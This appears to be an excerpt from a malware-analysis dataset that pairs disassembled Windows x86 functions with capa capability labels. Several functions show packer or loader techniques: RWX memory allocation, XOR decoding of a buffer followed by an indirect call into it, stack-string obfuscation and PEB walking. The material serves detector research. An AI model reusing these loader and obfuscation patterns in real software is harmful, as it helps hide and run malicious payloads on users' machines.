joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4289f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, ecx
call fcn.0040bfb0
test al, al
je 0x428a14
push 0x32
push dword [esi]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push 1
push dword [esi]
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov edi, dword [esi + 0x20]
mov dword [esi + 0x20], 0
test edi, edi
je 0x428a32
mov ecx, edi
call fcn.00426460
push edi
call sub.mozglue.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esi + 0x30]
call fcn.00403cf0
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x428a4b
push eax
call dword [sym.imp.mozglue.dll_free]
add esp, 4
mov edi, dword [esi + 0x20]
test edi, edi
je 0x428a62
mov ecx, edi
call fcn.00426460
push edi
call sub.mozglue.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esi + 0x18]
call fcn.00405da0
lea ecx, [esi + 0x14]
call fcn.00405da0
lea ecx, [esi + 0x10]
call fcn.00405da0
mov ecx, esi
pop esi
pop edi
pop ebp
jmp fcn.0040bf80
Function at 0x429e00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x224
mov eax, dword [0x43600c]
mov edi, dword [ebp + 8]
mov ebx, 0x1126
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
call fcn.00429b50
add esp, 4
test al, al
je 0x429e42
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042ee00
mov eax, ebx
add esp, 0x224
pop esi
pop edi
pop ebx
pop ebp
ret
lea esi, [ebp - 0x28]
mov ecx, edi
mov edx, esi
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], 0
call fcn.00429fd0
mov ecx, esi
mov ebx, eax
call fcn.0042a0a0
mov ecx, esi
mov edx, esi
mov bh, al
call fcn.0042a0e0
mov cl, bh
test bl, bl
jne 0x429e92
test cl, cl
jne 0x429e92
mov ebx, 0x7b
test al, al
jne 0x429e92
lea ecx, [ebp - 0x28]
call fcn.00401b50
jmp 0x429e2b
test cl, cl
mov ebx, eax
je 0x429fb2
cmp dword [ebp - 0x14], 7
jbe 0x429ea5
mov esi, dword [ebp - 0x28]
lea edi, [ebp - 0x230]
push 0x104
push edi
push esi
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x429ed3
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
dec esi
cmp dword [ebp - 0x14], 7
jbe 0x429ee4
mov eax, dword [ebp - 0x28]
jmp 0x429ee7
test bl, bl
mov eax, 0x1126
mov ebx, 0x7b
cmovne ebx, eax
jmp 0x429e88
lea eax, [ebp - 0x28]
push esi
push edi
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
mov ebx, 0x7b
test eax, eax
jne 0x429e88
jmp 0x429f3a
call dword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
dec eax
cmp eax, 3
jb 0x429f58
cmp ebx, 0x7b
je 0x429f58
jmp 0x429e88
lea edx, [ecx + ecx]
mov edi, 2
sub edi, edx
test edi, edi
je 0x429f35
add edi, 2
cmp word [ebx - 2], 0x5c
lea edx, [ebx - 2]
mov ebx, edx
jne 0x429f20
jmp 0x429f7c
xor edx, edx
dec edx
jmp 0x429f80
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
jbe 0x429f46
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x429efe
bt eax, 0xa
jb 0x429fab
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
jbe 0x429f67
mov eax, dword [ebp - 0x28]
test ecx, ecx
mov edx, 0xffffffff
je 0x429f80
lea ebx, [eax + ecx*2 - 2]
cmp word [ebx], 0x5c
jne 0x429f16
mov edx, ebx
sub edx, eax
sar edx, 1
mov edi, edx
sub edi, ecx
jbe 0x429f93
lea ecx, [ebp - 0x28]
push 0
push edi
call fcn.00401a00
jmp 0x429f9c
mov dword [ebp - 0x18], edx
mov word [eax + edx*2], 0
cmp dword [ebp - 0x18], esi
ja 0x429f3a
mov ebx, 0x1126
jmp 0x429e88
xor ebx, ebx
jmp 0x429e88
lea ecx, [ebp - 0x28]
push 4
push str.._
push 0
call fcn.00412df0
jmp 0x429e9c
Function at 0x42b600
Capabilities:
Contain obfuscated stackstrings
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x24
mov eax, dword [0x43600c]
xor eax, ebp
mov dword [ebp - 0xc], eax
push str.MOZ_ENABLE_HANDLE_VERIFIER
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
test eax, eax
jne 0x42b63a
call fcn.0040b5d0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0042ee00
add esp, 0x24
pop esi
pop edi
pop ebp
ret
cmp dword [0x4373a0], 0
mov dword [ebp - 0x28], 0x65006b
mov dword [ebp - 0x24], 0x6e0072
mov dword [ebp - 0x20], 0x6c0065
mov dword [ebp - 0x1c], 0x320033
mov dword [ebp - 0x18], 0x64002e
mov dword [ebp - 0x14], 0x6c006c
mov word [ebp - 0x10], 0
jne 0x42b682
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov dword [0x4373a0], eax
lea esi, [ebp - 0x2c]
lea edi, [ebp - 0x28]
mov dword [edi], 0x4373ec
mov dword [edi + 4], 0x43736c
mov dword [edi + 8], 0x4316f1
mov dword [edi + 0xc], 0x42b730
mov dword [esi], 0
mov byte [edi + 0x10], 0
push esi
push edi
push 0x42b790
push 0x4373f0
call dword [sym.imp.kernel32.dll_InitOnceExecuteOnce]
test eax, eax
je 0x42b624
cmp dword [ebp - 0x2c], 0
je 0x42b624
mov dword [ebp - 0x28], 0x4373f4
mov dword [ebp - 0x24], 0x43736c
mov dword [ebp - 0x20], 0x4316e1
mov dword [ebp - 0x1c], 0x42b750
mov dword [ebp - 0x2c], 0
mov byte [ebp - 0x18], 0
push esi
push edi
push 0x42b790
push 0x4373f8
call dword [sym.imp.kernel32.dll_InitOnceExecuteOnce]
test eax, eax
je 0x42b624
cmp dword [ebp - 0x2c], 0
jne 0x42b629
jmp 0x42b624
Function at 0x42c9e0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x43600c]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437404]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jle 0x42ca43
push 0x437404
call fcn.0042e41b
add esp, 4
cmp dword [0x437404], 0xffffffff
jne 0x42ca43
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 0x1c]
mov dword [0x437400], eax
push 0x437404
call fcn.0042e41b
add esp, 4
mov esi, dword [0x437400]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0042ee00
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret

Function at 0x42cfe0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x43600c]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437438]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x42d026
mov esi, dword [0x437434]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0042ee00
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret
push 0x437438
call fcn.0042e41b
add esp, 4
cmp dword [0x437438], 0xffffffff
jne 0x42d00e
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x437434], eax
push 0x437438
call fcn.0042e41b
add esp, 4
jmp 0x42d00e
Function at 0x42d390
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [0x43600c]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea eax, [ecx + 0x10]
mov dword [ecx], edx
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 2
mov dword [ebp - 0x38], ecx
mov dword [ecx + 4], eax
mov eax, dword [0x436100]
mov ecx, dword fs:[0x2c]
mov edx, dword [0x437438]
mov eax, dword [ecx + eax*4]
cmp edx, dword [eax + 4]
jg 0x42d463
mov ecx, dword [0x437434]
lea eax, [ebx + edi - 1]
xor edx, edx
xor edi, edi
div ecx
mov esi, eax
mov eax, ebx
xor edx, edx
div ecx
sub esi, eax
inc esi
mov dword [ebp - 0x48], esi
je 0x42d44e
mov ebx, eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], ecx
imul ebx, ecx
add eax, 4
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ecx
push ebx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x42d4a1
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov eax, dword [ecx + 8]
cmp eax, dword [ecx + 0xc]
je 0x42d4b2
mov edx, ecx
mov ecx, dword [ecx + 4]
inc edi
mov dword [ecx + eax*8], esi
mov dword [ecx + eax*8 + 4], ebx
inc dword [edx + 8]
mov ecx, dword [ebp - 0x44]
add ebx, ecx
cmp edi, dword [ebp - 0x48]
jne 0x42d414
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042ee00
mov eax, dword [ebp - 0x38]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x437438
call fcn.0042e41b
add esp, 4
cmp dword [0x437438], 0xffffffff
jne 0x42d3e3
lea esi, [ebp - 0x34]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x437434], eax
push 0x437438
call fcn.0042e41b
add esp, 4
jmp 0x42d3e3
mov dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
call fcn.0042d4d0
jmp 0x42d44e
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x3c], esi
call fcn.0042d5a0
test al, al
je 0x42d4a8
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
mov eax, dword [ecx + 8]
jmp 0x42d434
Function at 0x42d4d0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [0x43600c]
mov esi, ecx
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437438]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x42d550
mov eax, dword [esi + 8]
test eax, eax
jne 0x42d522
mov dword [esi + 8], 0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042ee00
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esi + 4]
mov ecx, dword [0x437434]
lea edi, [ebx + eax*8]
mov dword [ebp - 0x38], ecx
lea eax, [ebp - 0x34]
push eax
push dword [ebx]
push dword [ebp - 0x38]
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x42d58a
add ebx, 8
cmp ebx, edi
je 0x42d509
jmp 0x42d531
push 0x437438
call fcn.0042e41b
add esp, 4
cmp dword [0x437438], 0xffffffff
jne 0x42d502
lea edi, [ebp - 0x34]
push edi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [edi + 4]
mov dword [0x437434], eax
push 0x437438
call fcn.0042e41b
add esp, 4
jmp 0x42d502
mov dword [ebp - 0x34], 0
jmp 0x42d547

Function at 0x42d7b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov esi, ecx
mov ecx, dword [ecx + 0x34]
test ecx, ecx
je 0x42d836
mov eax, dword [ebp + 0xc]
and ecx, 0xfffffffc
mov edi, edx
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 8]
call fcn.0042b8d0
test al, al
je 0x42d836
mov dword [ebp - 0x10], ebx
push edi
push dword [esi + 0x34]
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x42d836
mov ecx, eax
mov edi, eax
call fcn.0042b8d0
test al, al
je 0x42d836
lea ecx, [esi + 0x18]
mov edx, edi
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.0042d840
add esp, 8
mov ecx, eax
mov al, 1
test cl, cl
jne 0x42d838
cmp byte [esi + 0x14], 0
jne 0x42d826
mov dword [esi + 0x14], 1
mov dword [esi + 0x10], 0
mov ecx, esi
mov edx, edi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
jmp fcn.0042b940
xor eax, eax
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x42e41b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x42e42a
pop dword [ebp - 0x4c]
mov eax, 0x42e42a
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x37d84
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x6910d834
sub ecx, 0x69108c7f
mov esi, eax
mov edi, 0x2a570219
sub edi, 0x2a133419
add edi, dword [ebp - 0x4c]
mov edx, 0xec52555a
xor dword [ebp - 0x2c], ecx
mov ebx, dword [edi]
mov dword [ebp - 0x3c], 0x3bb9d959
add ebx, edx
mov dword [esi], ebx
add dword [ebp - 0x14], 0xb7176ceb
add esi, 4
add edi, 0xdd2e7a94
add edi, 0x22d18570
loop 0x42e479
add eax, 0x121a7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe85b5397
sub ecx, 0xe81b5397
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40eddd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x45ce6c]
mov ebx, ecx
push edi
mov edi, dword [0x45ce74]
cmp esi, edi
jne 0x40eeff
xor esi, esi
lea eax, [ebp - 4]
cmp dword [0x41b1ec], 1
push esi
push eax
jne 0x40ee45
push 0x10000
push 0x43ce68
push dword [0x45ce68]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40ee37
mov dword [0x41be24], 0x82
xor eax, eax
jmp 0x40ef19
mov ecx, dword [ebp - 4]
mov eax, ecx
cdq
sub eax, edx
mov edi, eax
sar edi, 1
jmp 0x40ee8d
mov edi, 0x10000
push edi
push 0x41ce68
push dword [0x45ce68]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40ee26
mov eax, dword [0x45e220]
push edi
push 0x43ce68
push dword [ebp - 4]
neg eax
push 0x41ce68
sbb eax, eax
and eax, 0xfde6
push 1
add eax, 3
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 4]
mov edi, eax
mov eax, dword [0x45ce7c]
add eax, ecx
mov dword [0x45ce74], edi
mov ecx, dword [0x45ce78]
mov dword [0x45ce6c], esi
mov dword [0x45ce7c], eax
test ecx, ecx
je 0x40eeb8
xor edx, edx
div ecx
cmp eax, 0x64
jbe 0x40eebb
push 0x64
pop eax
cmp dword [0x45ce80], eax
je 0x40eefd
mov ecx, dword [0x41be00]
mov dword [0x45ce80], eax
test ecx, ecx
je 0x40eefd
push esi
push eax
push 0x402
push 0x65
push ecx
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov ecx, dword [0x41be00]
call fcn.0049afe9
test eax, eax
jne 0x40eee2
mov edi, dword [0x45ce74]
mov esi, dword [0x45ce6c]
cmp esi, edi
jge 0x40ee30
mov cx, word [esi*2 + 0x43ce68]
xor eax, eax
mov word [ebx], cx
inc dword [0x45ce6c]
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419f74
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x41a478
call fcn.0041a288
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x419fd4
cmp eax, 0xffffffff
je 0x419fd4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x419fcd
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x419fcd
cmp edx, 0x10000000
jae 0x419fcd
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x419fca
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.0041a2cd
ret 4

Function at 0x41a020
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x41a05e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x41a056
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x41a060
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x41a046
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x41a130
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x41a146
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x41a161
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x495523
Capabilities:
Encode data using xor

Disassembly:
call 0x49549c
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x4954cc
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x4954e8
xor edx, 0
jmp 0x4954f3
xor edx, edx
jmp 0x49550a
jmp 0x495516
xor eax, eax
push 0x8427d7c0
call 0x495523
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x49555f
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x495538
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x495576
add eax, 0
jno 0x49557b
add esi, 0
ret 0x10
Function at 0x4962e4
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x496306
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x4964a8
cmp edi, dword [ebp + 0x10]
jb 0x4964a8
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.00495dd0
inc edi
jmp 0x49638f
jmp 0x49639c
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00495dd0
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00495dd0
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x4963f0
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x4963d4
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.0049641e
add dword [eax], 0x39
jle 0x4963fa
sub al, 0xf5
mov ch, al
call fcn.00496433
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x49810b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x498121
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x498132
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.00498173
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x49a4df
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x49a428
add ebx, 0
push ecx
call 0x49a43d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c768311
sub ebx, dword [0x6c787b50]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c787b40
call fcn.00495f07
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.00495415
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x49a59b
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x49a59b
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x49a552
mov eax, 1
lock xchg dword [0x6c787b4c], eax
push 0x3dd1fc71
call 0x49a4df
push esi
add esp, 8
cmp eax, 0
jne 0x49a4c8
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x49a4ee
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x49a503
cmp ecx, edx
cmp eax, 0
je 0x49a528
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x49a512
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.0049a541
dec eax
loope 0x49a544
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c787b4c], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x49a578
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x49a58d
jmp 0x49a598
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x49a486

Function at 0x4a1600
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4a18d6
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c7747c4
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c76b78a
push 0xffffffffffffffff
call fcn.00498800
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x4a166a
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.004a1682
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4a18ca
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x4a189e
Function at 0x4b10d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4b10f2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4b10f2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4b10f2
ret
cmp word [ebx + 4], 0x14c
jne 0x4b10f2
test word [ebx + 0x16], 2
je 0x4b10f2
test word [ebx + 0x16], 0x100
je 0x4b10f2
cmp word [ebx + 0x18], 0x10b
jne 0x4b10f2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4b10f2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4b117e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4b1112
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0049805d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4b10f2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4b117e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4b10f2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4b10f2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4b10f2
ret
cmp word [ebx + 4], 0x14c
jne 0x4b10f2
test word [ebx + 0x16], 2
je 0x4b10f2
test word [ebx + 0x16], 0x100
je 0x4b10f2
cmp word [ebx + 0x18], 0x10b
jne 0x4b10f2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4b10f2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4b117e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4b1112
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0049805d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4b10f2
